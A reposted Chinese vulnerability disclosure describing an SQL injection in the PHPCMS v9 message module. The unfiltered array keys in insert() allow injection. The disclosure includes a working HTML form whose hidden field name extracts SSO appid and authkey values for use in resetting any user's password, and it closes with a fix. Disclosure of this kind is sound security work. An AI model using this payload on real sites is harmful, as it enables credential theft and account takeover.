来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。明天再更新下一个漏洞。在/phpcms9/phpcms/modules/message/index.php中有代码如下:$mess...
在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
明天再更新下一个漏洞。
在/phpcms9/phpcms/modules/message/index.php中有代码如下: $messageid = $this->message_db->insert($_POST['info'],true);
insert方法是key value的,代码如下:
public function insert($data, $table, $return_insert_id = false, $replace = false) {
if(!is_array( $data ) || $table == '' || count($data) == 0) {
return false;
}
$fielddata = array_keys($data);
$valuedata = array_values($data);
array_walk($fielddata, array($this, 'add_special_char'));
array_walk($valuedata, array($this, 'escape_string'));
$field = implode (',', $fielddata);
$value = implode (',', $valuedata);
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
$return = $this->execute($sql);
return $return_insert_id ? $this->insert_id() : $return;
}
嗯,很遗憾的是
array_walk($fielddata, array($this, 'add_special_char'));
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
漏洞证明:读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
表单如下:用户名什么的得自己改一改。
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题:</th>
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
</tr>
<tr>
<th>内 容:</th>
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
</tr>
<input type="hidden" name="info[replyid]" value="2" />
<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
<tr>
<th>验证码:</th>
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
<tr>
<td></td>
<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
</label></td>
</tr>
</table>
</form>
修复方案:
array_walk($fielddata, array($this, 'add_special_char')); 在add_special_char函数内对key做过滤就可以了
官方已升级,请及时补丁 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com